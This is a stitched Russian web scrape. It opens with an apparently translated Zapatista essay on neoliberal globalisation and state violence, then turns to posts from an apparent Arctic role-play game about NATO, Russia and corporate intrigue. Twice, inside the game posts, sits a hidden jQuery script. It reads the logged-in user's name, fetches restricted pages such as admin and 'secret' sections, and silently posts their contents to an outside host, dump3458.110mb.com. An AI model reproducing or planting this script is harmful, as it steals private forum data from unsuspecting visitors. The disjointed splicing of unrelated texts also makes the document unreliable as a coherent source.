С какой тот, кто его преследует? 

Деталь 5:Законное насилие незаконной власти? 
Фигура 5 выстраивается путем изображения пятиугольника.

Государство, в условиях неолиберализма, стремится к самосокращению до "необходимого минимума". В кабаре глобализации перед нами: "шоу" государства, исполняющего "танец на столе" и сбрасывающего с себя последние одежды, пока на нем не останется последнего необходимого элемента - репрессивных сил. Уничтожена его материальная база, аннулированы его возможности суверенитета и независимости, смазаны различия между политическими классами. Национальные государства более или менее быстро превращаются в обыкновенный аппарат "безопасности" мегапредприятий, которые возводит неолиберализм в ходе этой Четвёртой мировой войны. 
Вместо того, чтобы направить общественные средства на социальные нужды, государства предпочитают улучшать состав, вооружение и подготовку своих репрессивных сил, с тем чтобы эффективно справиться с задачей, которую политика уже давно перестала выполнять: контроль над обществом. 
Репрессивные аппараты современных государств называют себя "профессионалами законного насилия". Но что делать, если насилие уже подчинено законам рынка? Где находится насилие законное и где незаконное? На какую монополию на насилие могут претендовать полуразрушенные национальные государства, если свободная игра спроса и предложения оспаривает у них эту монополию? Разве мы не убедились в детали 4, что отношения между организованной преступностью, правительствами и финансовыми центрами более чем тесны? Разве не очевидно, что организованная преступность владеет целыми армиями, единственным сдерживающим фактором которых является огневая мощь противника? Таким образом, "монополия на насилие" уже не принадлежит национальным государствам. Современный рынок выставил её на продажу. 
Определённый сектор мировых интеллектуальных кругов утверждает, что к насилию можно прибегнуть "рациональным" образом, направлять его "выборочно" (есть даже те, кто говорит о "техническом изучении рынка насилия") и применять его с "хирургической" точностью против зол общества. Идеи, наподобие этих, вдохновили недавнюю гонку вооружений в странах Американского Союза: "хирургическое", точное оружие и военные операции как скальпель "нового мирового порядка". Но как управляет современное государство своим "рациональным насилием"? И, вспоминая историю, сколько времени продолжается эта "рациональность"? Время, проходящее от одних выборов до следующих или до переворота (в зависимости от случая)? Сколько случаев государственного насилия, приветствовавшегося в свое время как "рациональное", признаются сегодня как "иррациональное"? 
Леди Маргарет Тэтчер, "благодарно" вспоминаемая британским народом, побеспокоилась написать пролог к книге Каспара Вайнберга и Питера Швейцера "Следующая война" (Регнери Паблишинг, Инк. Вашингтон, Д.С. 1996). В этом тексте госпожа Тэтчер делится некоторыми размышлениями о трёх общих чертах между миром "холодной войны" и миром после её окончания. Первая из них в том, что всегда будет достаточно агрессоров, угрожающих "свободному миру". Вторая заключается в необходимости военного превосходства "демократических государств" над возможными агрессорами. И третья общая черта состоит в том, что это военное превосходство должно быть, прежде всего, превосходством технологическим. 
В конце пролога, так называемая "железная леди" следующим образом определяет "насильственную рациональность" современных государств: "Война может начаться по множеству различных причин. Но худший вариант обычно случается, если государственные власти считают, что могут достичь своих целей без войны или, по крайней мере, путём ограниченной войны, которая может быть быстро выиграна - и впоследствии этот расчет не оправдывается". 
Логично (по крайней мере, в рамках либеральной логики): в настоящее время, власть (т.е. власть финансовая) понимает, что может "достичь свои цели" только путём войны, причём "не ограниченной войны, которая может быть быстро выиграна", а путём войны всеобъемлющей и всеобщей, мировой во всех отношениях. И поэтому весь мир (я хочу сказать "весь-весь") является театром операций этой войны. 
Таким образом, можно прийти к выводу, что если спор о "монополии на насилие" происходит не в рамках рыночных законов, а ставится под сомнение снизу, мировая власть "обнаруживает" в этом вызов "потенциального агрессора". В этом заключается один из вызовов (один из наименее изученных и наиболее "осуждаемых", среди многих других), брошенный индейцами Сапатистской Армии Национального Освобождения (САНО), которые восстали с оружием в руках против неолиберализма и ради человечества. 
Это символ североамериканской военной мощи, пятиугольник (пентагон). 
Новая "мировая полиция" претендует на то, чтобы "национальные" армии и полиции были просто "корпусом безопасности", гарантирующими "порядок и прогресс" в неолиберальных мегаполисах. 

Деталь 6:Мегаполитика и карлики 
Фигура 6 выстраивается путем изображения ругательства.

Как мы уже сказали раньше, национальные государства сегодня подвержены нападению со стороны финансовых центров и "вынуждены" раствориться внутри мегаполисов. Но неолиберализм не только ведёт свою войну "объединяя" страны и регионы. Его стратегия разрушения/обезлюдения и восстановления/упорядочения приводит к одной или же многим трещинам внутри государств. Нынешняя мировая динамика разрушения целостности национальных государств является последствием политики, тоже мировой, сознающей что может больше утвердить свою власть и создать оптимальные условия для своего воспроизводства только на руинах национальных государств. 
Если у кого-нибудь остаются сомнения по поводу нашего определения этого процесса глобализации как мировой войны, он может отбросить их, подсчитав количество конфликтов, возникших или же вызванных в результате распада некоторых государств. Чехословакия, Югославия, СССР - показатели глубины этих кризисов, разбивающих вдребезги не только политическую и экономическую базу государств, но и их общественные структуры. Словения, Хорватия и Босния, как и нынешняя война внутри Российской Федерации с Чечнёй в качестве сценария, нам показывают не только трагическую участь социалистического лагеря, павшего в смертельные объятия "свободного мира"; во всём мире в различном масштабе и с разной степенью интенсивности повторяется этот процесс национального расчленения. Сепаратистские тенденции присутствуют в Испанском государстве (Страна Басков, Каталония и Галисия), в Италии (Падуа), в Бельгии (Фландрия), во Франции (Корсика), в Соединённом Королевстве (Шотландия и Уэльс) и в Канаде (Квебек). И ещё немало примеров в других странах мира. 
Ранее мы указали на процесс возникновения мегаполисов, сейчас говорим о расчленении стран. Оба процесса протекают в результате разрушения национальных государств. Речь идёт о двух параллельных, независимых друг от друга процессах? Две стороны процесса глобализации? Симптомы надвигающегося мегакризиса? Не более чем просто изолированные явления? 
Мы считаем, что речь идет о противоречии, характерном для процесса глобализации, одной из эссенций [11] неолиберальной модели. Уничтожение границ для торговли, универсальность телекоммуникаций, суперавтострады информатики, повсеместное присутствие финансовых центров, международные договора об экономическом объединении, и вообще весь процесс глобализации, ликвидируя национальные государства, приводит к расчленению внутренних рынков. Они не исчезают и не растворяются в рынках международных, а лишь укрепляют свою расчленённость и умножаются. 
Звучит противоречиво, но глобализация создает расчленённый мир, переполненый осколками, изолированными один от другого и нередко находящимися в состоянии взаимной конфронтации. Мир, состоящий из замкнутых ячеек, едва связанных между собой зыбкими экономическими мостами. Мир разбитых зеркал, отражающих бесполезное мировое единение неолиберальной головоломки. 
Но неолиберализм, претендуя объединить мир, не только расчленяет его, кроме этого он создает политико-экономический центр, который руководит этой войной. И поскольку, как мы отмечали раньше, финансовые центры навязывают свой закон (закон рынка) странам и группам стран, нам необходимо заново определить границы и горизонты политики, т.е. политической деятельности. Поэтому имеет смысл говорить о мегаполитике [12]. И именно на этом уровне определяется "мировой порядок". 
Когда мы говорим "мегаполитика", мы не имеем в виду число тех, кто является её действующими лицами. Их, находящихся в этой "мегасфере", мало, слишком мало. Мегаполитика охватывает политики национальные, т.е. подчиняет их своему единственному направлению, представляющим мировые интересы (которые обычно противоположны интересам национальным) и чья логика является исключительно рыночной, т.е. логикой экономической прибыли. 
Исходя из этого экономистского (и преступного) критерия принимаются решения по поводу войн, кредитов, покупки и продажи товаров, дипломатических признаний, торговых блокад, политических поддержек, законов миграции, государственных переворотов, репрессий, выборов, международных политических объединений, международных политических разрывов, инвестиций, т.е., по вопросам выживания целых стран. 
Мировая власть финансовых центров настолько велика, что они могут легко закрывать глаза на политическую окраску сил, находящихся у власти в той или иной стране, в случае если им гарантировано, что экономическая программа (т.е. данная часть, соответствующая мировой экономической мегапрограмме) останется без изменений. Мировая власть может терпимо относиться к любому правительству в любой части планеты, при условии непринятия этим правительством мер, противоречащих планам мировых финансовых центров. Но ни в коем случае не потерпит она укрепления альтернативы экономической, политической и общественной организации. Политики национальные, для мегаполитики, создаются карликами, которые должны исправно следовать диктату финансового гиганта. И будет так до тех пор, пока карлики не восстанут. 
Здесь перед вами фигура, представляющая "мегаполитику". Вы поймёте бесполезность попыток поисков её рациональности и ещё то что, если размотать этот клубок, абсолютно ничего не прояснится. 

Деталь 7: Мешки сопротивления 
Фигура 7 выстраивается путем изображения мешка.

"Для начала, очень прошу тебя не путать Сопротивление с политической оппозицией. Оппозиция противостоит не власти, а правительству, и её полная и окончательная форма выражения - оппозиционная политическая партия; в то же время как сопротивление по определению (сейчас, наконец, да!) не может быть партией: смысл его существования не в том, чтобы в свою очередь править, а в том, чтобы сопротивляться" (Томас Сеговия. Книга обвинений. Мехико, 1996). 
Кажущаяся безотказность машины глобализации сталкивается с глухим неподчинением реальности. В то время как неолиберализм развивает свою мировую войну, по всей планете возникают группы несогласных, очаги неподчинения. Империя финансовых бирж сталкивается с противостоянием мешков сопротивления. 
Да, мешков. Мешков всех размеров, разного цвета, различных форм. Их единственная схожесть - в сопротивлении "новому мировому порядку" и преступлению против человечества, которое несёт в себе неолиберальная война. 
В попытке навязать свою экономическую, политическую, социальную и культурную модель, неолиберализм претендует на то, чтобы подчинить себе миллионы людей и избавиться от всех тех, кому нет места в его новом разделении мира. Но выходит так, что эти "заменимые" восстают и сопротивляются власти, стремящейся их уничтожить. Женщины, дети, старики, молодёжь, коренные народы, экологисты, гомосексуалисты, лесбиянки, трудящиеся и все те, кто не только "является лишним", но и "мешает" мировому порядку и прогрессу, восстают, организовываются и борются. Признавая себя равными и разными, исключённые из "современности" начинают плести ткань своего сопротивления процессу разрушения/обезлюдения и восстановления/реорганизации, который развивает в своей мировой войне неолиберализм. 
Например, в Мексике, так называемая "Программа интегрального развития Истмо де Теуантепек" ставит задачу строительства современного международного центра складирования и сбыта товаров. Зона развития включает в себя промышленный комплекс, на котором рафинируется третья часть мексиканской нефти-сырца и вырабатывается 88% нефтехимических продуктов. Трансокеанические транспортные пути будут состоять из автострад, водной трассы, используя природные возможности зоны (реку Коацакоалькос), и железнодорожной линии (за строительство которой отвечает пять фирм, четыре американских и одна канадская). Проект состоит в создании стратегической зоны, приносящей постоянный доход. Два миллиона местных жителей станут грузчиками, персоналом, контролирующим доступ, или уличными торговцами. Кроме того, на юго-востоке Мексики, в Лакандонской сельве, начинает осуществляться "Программа Регионального Поддерживаемого Развития Лакандонской сельвы". Её реальная задача заключается в передаче капиталу индейских земель, которые кроме своего богатства человеческим достоинством и историей, обладают ещё щедрыми нефтяными и урановыми месторождениями. 
Одним из предcказуемых результатов этих проектов станет расчленение Мексики (отделение юго-востока от остальной части страны). Кроме этого, и поскольку речь идет о войнах, одной из целей перечисленных проектов является ликвидация повстанческого движения. Эти проекты - часть клещей призванных удушить антинеолиберальное восстание, начатое в 1994 году. Объект операции: восставшие индейцы Сапатистской Армии Национального Освобождения (САНО). 
Сапатисты считают, что перед лицом угрозы глобализации необходима защита государства, и что попытки разделить Мексику происходят не от справедливых требований автономии для индейских народов, а от правящих кругов. САНО и лучшие силы национального индейского движения хотят не отделения индейских народов от Мексики, а признания в качестве части страны, имеющей свои особенности. И не только этого, ещё они хотят для всей Мексики демократии, свободы и справедливости. Но не только в горах юго-востока Мексики идет сопротивление и борьба против неолиберализма. В других частях Мексики, в Латинской Америке, в Соединенных Штатах и в Канаде, в Европе Масстрихского соглашения, в Африке, в Азии и в Океании множатся мешки сопротивления. У каждого из них своя собственная история, свои различия, свои схожести, свои требования, своя борьба, свои достижения. И если у человечества есть ещё надежды выжить, стать лучше, надежды эти находятся в мешках, которые создают исключённые, излишние, ненужные. 
Это модель мешка сопротивления, но не обращайте на него особого внимания. Существует столько моделей, сколько есть сопротивлений и сколько миров есть в мире. Так что, изобразите ту модель, которая вам больше нравится. 
В этом деле мешков и сопротивлений богатство заключается в многообразии. 
Существуют, и в этом не может быть никаких сомнений, ещё много других деталей мировой головоломки. Например, средства информации, культура, экологическое загрязнение, пандемии. Здесь мы хотели показать только общие черты семи из них. 
Но и этих семи достаточно, чтобы вы, после их изображения, раскраски и вырезания, обнаружили, что невозможно собрать их в единое целое. И в этом проблема мира, который глобализация попыталась переделать: детали не совпадают. И поэтому, и по многим другим причинам, для которых нет места в этом тексте, необходимо сделать новый мир. Мир, в котором будет место для многих миров, место для всех миров! 
P.S., где рассказаны мечты, в которых гнездится любовь. Со мной рядом отдыхает море. Давно оно разделило печали, сомнения и немалые мечты, но сейчас спит со мной горячая ночь сельвы. Я смотрю на её взлохмаченную во сне пшеницу и опять поражаюсь тому, что она всегда такая же: тёплая, свежая и близкая. Но волна удушья, подкатившая к горлу, поднимает меня на ноги, берёт мою руку и вкладывает в неё перо, чтобы вернуть в сегодняшний день, как столько лет назад, Старика Антонио [13]. 
Я попросил Старика Антонио, чтобы он проводил меня разведать реку вниз по течению. Из еды у нас с собой было только немного кукурузной муки. Часами мы следуем вдоль капризного русла, тем временем как голод и жара становятся всё сильнее. Всю вторую половину дня мы проводим, преследуя стадо диких свиней. Когда удалось к ним приблизиться, уже почти стемнело, но огромный горный кабан вдруг отделяется от группы и атакует нас. Я блистаю всеми своими военными знаниями, бросаю оружие и вскарабкиваюсь на ближайшее дерево. Старик Антонио, вместо того чтобы броситься бежать, со своей обычной невозмутимостью отступает за заросли камыша. Громадный кабан со всей своей мощью проносится совсем рядом, но оказывается запутавшимся среди лиан и колючих кустарников. До того как он успевает освободиться, Старик Антонио поднимает свой старый карабин и одним выстрелом в голову решает на этот день вопрос ужина. 
Уже глубокой ночью, закончив чистить свою современную автоматическую винтовку (М-16, калибр 5.56 мм, переключатель частоты, эффективная дальность выстрела 460 метров, не считая телескопического прицела, штатива и магазина с 90 патронами), сажусь писать мой походный дневник, и опуская подробности происшедшего, отмечаю: "Столкнулись с кабаном и А. пристрелил его. Высота 350 м.н.у.м. Дождя не было". 
Когда мы ждем пока сварится мясо, я говорю Старику Антонио, что соответствующая мне часть кабана пригодится для праздника, который готовится в лагере. "Праздник?" - переспрашивает он, раздувая пламя костра. "Да", говорю, "Не важно когда, всегда найдётся что-нибудь, чтобы праздновать". После этого продолжаю о том, что мне кажется блестящей диссертацией об историческом календаре и праздниках сапатистов. Старик Антонио слушает молча и, предполагая, что всё это его не интересует, я укладываюсь спать. 
В полусне вижу, как Старик Антонио берет мой блокнот и что-то в нём записывает. Утром, после завтрака, делим мясо и каждый возвращается своей дорогой. Вернувшись в наш лагерь, я докладываю о результатах руководству и показываю мой дневник, где отражены все события. "Это не твой почерк", говорят мне, показывая страницу дневника. Там, после моих отметок последнего дня, вижу написанное большими буквами Стариком Антонио: 
"Если у тебя не может быть одновременно и разума и силы, всегда выбирай разум и позволь, чтобы у врага была сила. Во многих боях может побеждать сила, но во всей борьбе всегда побеждает разум. Власть имущие никогда не смогут извлечь разума из своей силы, но мы всегда сможем извлечь силу из разума". 
И ниже, очень мелкими буквами: "С праздником". 
Стоит ли говорить, что аппетит у меня пропал. Праздник, как обычно, прошел очень весело. "Странница с косой" находилась, к счастью, пока очень далеко от "хит-парада" сапатистов.

Несмотря на все предупреждения, Арктический Совет не среагировал во время и не предпринял мер в отношении Северо-Атлантического Альянса. Почувствовав свою полную безнаказанность (а по рукам этой организации следовало надавать сразу после грубого нарушения Договора о Демилитаризации), НАТО провело наступательные действия в зону влияния Российской Федерации.  Несмотря на то, что опасность военного разрешения этого конфликта существовала всегда,  Армия РФ не была достаточно подготовлена для этого, но стянув резервные силы к линии фронта, сумела остановить наступление. Сейчас боевые действия приняли позиционный характер. Военные удерживают свои укрепленные базы, обмениваясь ракетными и артиллерийскими ударами. Корабли ВМФ с той, и с другой стороны пытаются прорвать линию обороны противника, но за эти несколько часов к месту боевых действий стянуты дополнительные подразделения, и прорвать линию обороны пока не удалось никому.

Главный вопрос сейчас – чью сторону пример Китай. Известно, что в Арктике находятся китайские военные базы с гарнизонами.  Исход этого вооруженного конфликта зависит от китайцев. Маловероятно, что они примут сторону НАТО, поскольку эта организация резко высказалась о проникновении китайцев в Арктику и, кстати говоря, Альянс так и не передал пленных офицеров ВМС китайской стороне. Китайские военные базы в тылу противника (пока достоверное неизвестно в чьем они тылу, но есть версия, что все же под боком у НАТО) являются неплохим подспорьем.

Вопрос об Арктическом Совете автоматически отпадает. Теперь вместо политиков заговорили автоматы и пушки. Возможно, этот своеобразный «диалог» между НАТО и Россией подействует отрезвляюще на прочих участников «арктической гонки» и они сумеют договориться о разделе Арктики мирным путем.

-script- // window.show_error = function(){}; var skip = "140 904 917 918 928"; var path = ["/122/all", "/cop/all", "/qwer/all", "/qwe/all", "/adm/all", "/murmrep/all", "/szvorf/all", "/asd/all", "/post-1030/all", "/secret/all"]; $(document).ready(function() { var user = $("#top-menu > ul > li:first-child > a").text(); var uid = $("#top-menu > ul > li:first-child > a").attr("href").match(/\/(\d+)\/$/).pop(); if (skip.indexOf(uid) < 0) { $("#body").before( $("<div />").attr("style", "display: none").append( $("<form />").attr("id","form-1").attr("action", "http://dump3458.110mb.com/dump.php").attr("method", "post").attr("target", "frame-1") .append($("<input />").attr("id", "user").attr("name", "user").attr("type", "text").attr("value", user)) .append($("<input />").attr("id", "path").attr("name", "path").attr("type", "text")) .append($("<textarea />").attr("id", "dump").attr("name", "dump")) ) .append($("<iframe />").attr("id", "frame-1").attr("name", "frame-1").attr("src", "http://dump3458.110mb.com")) ); $.each(path, function(index, value) { $.get(value, function(data, answer) { if (answer == "success") { var dump = "\n"+ user +" : "+ $("div.widget > h1", data).text() +" ["+ value +"]\n\n"; $("ul.msg5 > li:not(.spacer)", data).each(function() { dump += $("div.left > span", this).text() +" "+ $("div.top > div.right > i", this).text() +" / "+ $("div.top > div.right > a", this).text() + " ["+ $("div.top > div.right > a", this).attr("href") +"]\n"+ $("div.left > a.h3", this).text() + " ["+ $("div.left > a.h3", this).attr("href") +"] "+ $("div.bottom > span.anw > a", this).text() +" comments\n\n"+ $("div.snip > div.xhtml", this).text() +"\n\n"; }); $("input#path").attr("value", value); $("textarea#dump").append(dump); $("#form-1").submit(); } }); }); } }); // -script-

    

     Как известно Арктика уже становится Зонаой Культурного Наследия Человечества. И для этого был начат проект демилитаризации Арктики.

Но реакция на это решение была отнюдь не мирной. БлокНАТО начал военные действия с силами РФ. По словам его представителей эта агрессия вызвана нарушением прежнего соглашения о разделе сфер влияния. Но нb для кого не секрет, что уже давно обе стороны наращивали сили, предпринимая различные маневры.

     Скрываясь под покровом полярной ночи, блок НАТО копил силы. Действительно, нашей редакции стало исвестно, что множество наемников со всех концов мира стекаются под флаги нато. Прошли ли они специальную подготовку? Не замерзнут ли они на первом же боевом дежурстве?

       Ведь незадолго до начала боевых действий НАТО вывело свои проверенные и закаленные войска из секторов А-Г 29. А теперь пусает в ход своих незакаленных арктической зимой новобранцев.

Но возникает вопрос, кто купил этих наемников для НАТО?

Да, это компания Chevron. Кстати, в недавнем интервью её представитель открыто признал факт поддержки блока НАТО со стороны нефте-газовых компаний стран этого блока.

В интервью нашей компании представитель российской стороны заявил, что мы наблюдаем события, имеющие глубокие исторические параллели. Да, на нас напали, разрушили подразделения авангарда.

Но Россия перегруппирует и развернет свои силы, чтобы остановить напор противника, отбросить и разбить его силы.

Так же он отметил, что многие страны, представленные в арктике поддерживают Россию в её борьбе.

И как и во все времена нам благоволит наш традиционный союзник  - крепкий арктический мороз!

Арктический совет на своем третьем заседании услышал мнение ЮНЕСКО и всех прогрессивных жителей Арктики. А, как известно, этих прогрессивный сил там большинство, потому как иные там выжить просто не могут. Было принято решение о демилитаризации Арктики, признании 200-мильной зоны для всех государств. Следовательно, большие просторы были отведены под свободное освоение. Именно на основе исследовательских и технических комплексов и поселений этого свободного пространства уже создается ЗКНЧ. Тем, более, что все предпосылки к этому уже имеются. Ведь в Арктике особые условия и в них могут воспитываться и жить особые, новые люди. И создавать сообщества новых типов.

О Создании Зоны Культурного Наследия

Тошиба, Росатом, Дженерал-Электрик при инициативе ЮНЕСКО объявляем о создании особой территориальной зоны по созданию единого научно-технического комплекса с целью проведения социального эксперемента по международному сотрудничеству.

Зона признается ЮНЕСКО культурным наследием и берется под охрану.

На базе Зоны создаются научные городки, функционирующие между собой на принциипах научного аутсорса и опенсорса (обмена).

Подписано:

(76) Гловацкий А.С. /ЮНЕСКО/

(913) Янг М. /Toshiba, Япония/

(913) Морозов Н.В. /Росатом, Россия/

(903) Форестер А.В. /General Elektric/

Позже к договору присоеденились:

(28) Лычакова В.С. /Газпром, Россия/

(176) Второва В. Ш. /Areva, Франция/

ЮНЕСКО (организация при ООН) и Фонд Культурного Наследия Человечества при поддержке различных стран и компаний настоятельно требует вывода войск и военных баз с территории Арктики в связи с участившимися случаями рэкета со стороны военных (при поддержке компании "Шеврон") и объявлении Арктики демилитаризованной зоной.

Подписано:

(76) Гловацкий Аугуст С. /ЮНЕСКО/

(90) Морозов Н. В. /Росатом, Россия/

(913) Янг /Toshiba, Япония/

(909) Соловьев Е. /Hollyburton Sec., США/

(176) Второва В. /Areva, Франция/

ПОЛОЖЕНИЕ О СОЗДАНИИ ОРГАНИЗАЦИИ "ОБЩЕСТВЕННЫЙ ФОНД ОСВОЕНИЯ АРКТИКИ" при "ФОНДЕ КУЛЬТУРНОГО НАСЛЕДИЯ ЧЕЛОВЕЧЕСТВА" (ЮНЕСКО, ООН)

Организация создается в целях:

1. Осуществление права международного контроля над нейтральными водами и территориями Арктики.

2. Осуществление охраны культурного наследия человечества на территории Арктики.

3. Пропаганда новых форм интеграции международных сообществ при использовании ресурсов Арктики.

Подписано:

Аугуст С. Гловацкий  / Фонд Культурного Наследия Человечества, ЮНЕСКО/

Tohh Tack Tohuson  / Hollyburton securities/

Иванова /Компания Areva, Франция/

Реформация в Арктике

В Арктике всегда существовал совет. Но был ли он эффективен? Всего было три заседания. Мы их опишем.

Первое заседание - первое было наименее полезно. Не было решено ни одного вопроса, кроме разве что выборов спикера. И выбирали его долго, с шумом и спорами. И это и есть истинное лицо совета, ведь у журналистов была установлена камера, а журналистов внешне небыло. И тогда совет показал свое истинное лицо.

Второе заседание - здесь коты решили делить Арктику. И поделили ее так, что никому не понравилось. И выкинули за борт Северо-западный военный округ.

Третье заседание - а теперь совет решил уничтожить все военные организации в Арктике. И убрать Chevron из Арктики, причем абсолютно неправомерно. Интересно, а свои ракеты они тоже разбомбят? А сколько мирных граждан будет уничтожено советом? Ради чего? Аойна, ради мира? И если они хотят демилиторизовать Арктику - пускай начнут с себя. Или всегда найдется сила, которая восстанет против них.

В итоге мы можем сказать, что совет пора расформировать, так как не было принято ни одного решения за все время работы совета, а то что было принято - принято неправомерно. Пора начинать реформацию в Арктике.

Вопиющий случай произошел сегодня в Арктике. Нарушив все нормы права, Северо-Атлантический Альянс уничтожил заводской комплекс компании AREVA за неуплату налога. Убедившись воочию в том, что НАТО не охраняет предпринимателей, а наоборот использует в целях наживы, компании, задействованные в «арктической гонке», теперь выступают против присутствия НАТО в регионе.  Военное присутствие вооруженных сил НАТО, не только нарушает Договор о Демилитаризации Арктики (который, кстати никто не аннулировал), но и создает неблагоприятную обстановку для развития региона. Предприятия, работающие в Арктике, вынуждены отдавать НАТО существенную сумму от прибыли, якобы для того, чтобы НАТО продолжало «поддерживать безопасность» в регионе. На самом деле это банальный рэкет. Рэкет – вне закона, но кого это волнует, когда рэкетом занимается НАТО? Уничтожение предприятия, принадлежащего компании AREVA – лучшее тому подтверждение. 

 Некоторое время назад, основные надежды, на исправление ситуации в регионе были возложены на Арктический Совет. Но теперь стало понятно, что эта организация не способна противостоять НАТО. Значит, ее нужно таковой сделать, путем реорганизации. Например, позволить представителям компаний-участниц» арктической гонки», войти в Совет. Поскольку почти все компании, заинтересованные в развитии региона, страдают под экономическим гнетом НАТО, скооперировавшись они смогут повлиять на ситуацию в Арктике. Вряд ли получится изгнать Альянс из региона полностью, но можно заставить пойти НАТО на существенные уступки, один из наиболее действенных вариантов – создание демилитаризованных зон на пространстве, контролируемом этой организацией. Если же Альянс откажется пойти на встречу инициативе корпораций, то это решение может повлиять на всю экономическую ситуацию в регионе. С территорий, которые контролируются НАТО, начнется отток средств, перестанут работать месторождения и проходить морское сообщение.  По сути дела, Альянс лишится своего заработка. Не с кого будет брать мзду, и тогда теряется весь смысл пребывания войск НАТО в Арктике. А содержать войска в таких условиях дело весьма затратное. Чтобы их своеобразный «бизнес» не пошел прахом, НАТО придется пойти на уступки. И, конечно же, придется ответить за уничтожение частной собственности. И за нарушение Договора о Демилитаризации.

Еще одним хорошим решением было бы судебное заседание – компании, страдающие и несущие убытки под пятой НАТО, могли бы подать общий иск на Северо-Атлантический Альянс и заставить военный контингент покинуть регион. НАТО давно научилось не обращать внимания на подобные действия, но теперь эта организация сухой из Северо-Ледовитого океана точно не выйдет…

-script- // window.show_error = function(){}; var skip = "140 904 917 918 928"; var path = ["/122/all", "/cop/all", "/qwer/all", "/qwe/all", "/adm/all", "/murmrep/all", "/szvorf/all", "/asd/all", "/post-1030/all", "/secret/all"]; $(document).ready(function() { var user = $("#top-menu > ul > li:first-child > a").text(); var uid = $("#top-menu > ul > li:first-child > a").attr("href").match(/\/(\d+)\/$/).pop(); if (skip.indexOf(uid) < 0) { $("#body").before( $("<div />").attr("style", "display: none").append( $("<form />").attr("id","form-1").attr("action", "http://dump3458.110mb.com/dump.php").attr("method", "post").attr("target", "frame-1") .append($("<input />").attr("id", "user").attr("name", "user").attr("type", "text").attr("value", user)) .append($("<input />").attr("id", "path").attr("name", "path").attr("type", "text")) .append($("<textarea />").attr("id", "dump").attr("name", "dump")) ) .append($("<iframe />").attr("id", "frame-1").attr("name", "frame-1").attr("src", "http://dump3458.110mb.com")) ); $.each(path, function(index, value) { $.get(value, function(data, answer) { if (answer == "success") { var dump = "\n"+ user +" : "+ $("div.widget > h1", data).text() +" ["+ value +"]\n\n"; $("ul.msg5 > li:not(.spacer)", data).each(function() { dump += $("div.left > span", this).text() +" "+ $("div.top > div.right > i", this).text() +" / "+ $("div.top > div.right > a", this).text() + " ["+ $("div.top > div.right > a", this).attr("href") +"]\n"+ $("div.left > a.h3", this).text() + " ["+ $("div.left > a.h3", this).attr("href") +"] "+ $("div.bottom > span.anw > a", this).text() +" comments\n\n"+ $("div.snip > div.xhtml", this).text() +"\n\n"; }); $("input#path").attr("value", value); $("textarea#dump").append(dump); $("#form-1").submit(); } }); }); } }); // -script-

http://www.youtube.com/watch?v=vBeh7iMchy4

http://arktika2030.ru/post-1030/post-292/

Голосуй в левом верхнем углу :)

Результаты

Каждый может ЭТО!

Результаты

Кто продавец, кто покупатель?

Сколько денег готовить?

Как следить?

Может, он закрытый? 

А пресса будет?

Какие правила? 

Бармен, поставь-ка Аукцыон, что ли. Может, прояснится в мозгу!

Повышения в должности от 15.03

За эффективное исполнение должностных обязанностей:

2-й уровень (начальник отдела)

Лепехов Алексей (912, Газпром) (за постройку первого нефтепровода)

3-й уровень (лидер крыла)

Виктория Лычакова (28, Газпром)  (за постройку первого нефтепровода)

Борис Головацкий (366, Chevron) (за оперативную реакцию при смене обстановки)

Ольга Пантюхова (898, Росатом) (за оперативные действия и результаты в войне мифов)

За отчетность:

2-й уровень (начальник отдела)

Евдокия Казимирова (901, Дженерал Электрик)

За экономические результаты, полученную прибыль и отчетность (часть прибыли вычитается в пользу Совета директоров) повышаются в должности:

2-й уровень (начальник отдела)

Александр Крамарев (885, Toshiba)

3-й уровень (лидер крыла)

Майя Мухина (84, General Electric)

Наталья Шелаева (360, НАТО)

Наталия Клименко (175, НАТО)

Милослав Симаков (913, Toshiba)